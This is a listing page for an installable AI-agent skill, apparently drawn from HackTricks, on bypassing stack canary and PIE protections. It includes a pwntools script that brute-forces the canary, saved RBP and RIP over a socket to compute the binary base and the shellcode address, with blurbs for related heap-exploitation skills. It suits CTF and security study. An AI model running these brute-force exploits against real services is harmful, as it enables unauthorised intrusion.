skills/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie/SKILL.md
How to bypass canary and PIE (Position Independent Executable) protections in binary exploitation. Use this skill whenever you're working with a binary that has both canary and PIE enabled, need to brute-force stack addresses, or want to leak RBP/RIP values to calculate base addresses for ROP chains. Make sure to use this skill when you encounter binaries protected by canary+PIE, need to brute-force return addresses, or want to calculate shellcode positions from leaked stack values.
npx skillsauth add abelrguezr/hacktricks-skills bypass-canary-pieInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
This skill helps you bypass binary protections when a target has both canary and PIE (Position Independent Executable) enabled.
Use this skill when:
checksec shows a binary has canary and PIE protectionsWhen a binary has both canary and PIE:
Note:
checksecmight not detect canary in statically compiled binaries. Look for a value saved at function start and checked before exit.
To bypass PIE, you need to leak an address. If the binary doesn't leak addresses, brute-force the stack:
The stack layout in a vulnerable function looks like:
[buffer] [canary: 8 bytes] [saved RBP: 8 bytes] [saved RIP: 8 bytes]
Use the brute-force script to find the canary value:
python scripts/brute_force_stack.py --target localhost:8788 --canary-offset 1176
The script will:
After getting the canary, continue brute-forcing:
python scripts/brute_force_stack.py --target localhost:8788 --canary-offset 1176 --continue-rbp-rip
This will give you:
From the leaked values, calculate addresses you need:
Use RBP to find where your shellcode is in the stack:
# After leaking RBP, calculate shellcode position
INI_SHELLCODE = RBP - offset_to_shellcode
To find the offset:
Use RIP to calculate the binary's base address:
# Mask off the last 12 bits (4096 bytes = page size)
elf.address = RIP - (RIP & 0xfff)
For example:
0x562002970ecf0x562002970000To verify, use objdump -d vulnerable_binary and check the disassembly addresses.
Now that you have the base address, you can:
Some addresses might not crash the server even if they're incorrect. To handle this:
The brute-force script includes a delay parameter:
python scripts/brute_force_stack.py --target localhost:8788 --delay 0.1
from pwn import *
from scripts.brute_force_stack import get_bf
# Connect to target
def connect():
return remote("localhost", 8788)
# Brute-force canary
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(connect, base, "SOME OUTPUT")
CANARY = u64(base_canary[len(base_canary)-8:])
# Brute-force RBP
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(connect, base_canary, "SOME OUTPUT")
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
# Brute-force RIP
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(connect, base_canary_rbp, "SOME OUTPUT")
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
# Calculate base address
elf.address = RIP - (RIP & 0xfff)
# Calculate shellcode position
INI_SHELLCODE = RBP - 1152
print(f"Canary: {hex(CANARY)}")
print(f"RBP: {hex(RBP)}")
print(f"RIP: {hex(RIP)}")
print(f"Base: {hex(elf.address)}")
print(f"Shellcode at: {hex(INI_SHELLCODE)}")
After bypassing canary and PIE:
checksec for binary protection analysisobjdump -d for disassembly and address verificationtesting
How to perform a House of Lore (small bin attack) heap exploitation. Use this skill whenever the user mentions heap exploitation, small bin attacks, fake chunks, glibc heap vulnerabilities, or needs to insert fake chunks into small bins for arbitrary read/write. Trigger for CTF challenges involving heap corruption, glibc 2.31+ exploitation, or when the user needs to bypass malloc sanity checks using fake chunk linking.
testing
How to perform House of Force heap exploitation attacks. Use this skill whenever the user mentions heap exploitation, House of Force, top chunk manipulation, arbitrary memory allocation, malloc manipulation, or wants to allocate chunks at specific addresses. Also trigger for CTF challenges involving heap overflows, top chunk size overwrites, or when the user needs to calculate evil_size for heap attacks. Make sure to use this skill for any binary exploitation task involving glibc heap manipulation, even if they don't explicitly say "House of Force".
tools
How to perform House of Einherjar heap exploitation to allocate memory at arbitrary addresses. Use this skill whenever the user mentions heap exploitation, glibc heap attacks, arbitrary memory allocation, off-by-one overflow exploitation, tcache poisoning, fast bin attacks, or any CTF challenge involving heap manipulation. This is essential for binary exploitation tasks where you need to control malloc() return addresses.
testing
How to identify, analyze, and exploit heap overflow vulnerabilities in binary exploitation challenges and real-world scenarios. Use this skill whenever the user mentions heap overflows, memory corruption, heap grooming, tcache poisoning, fast-bin attacks, or any heap-related vulnerability in CTF challenges, binary analysis, or security research. This skill covers heap overflow fundamentals, exploitation techniques, heap grooming strategies, and real-world CVE analysis.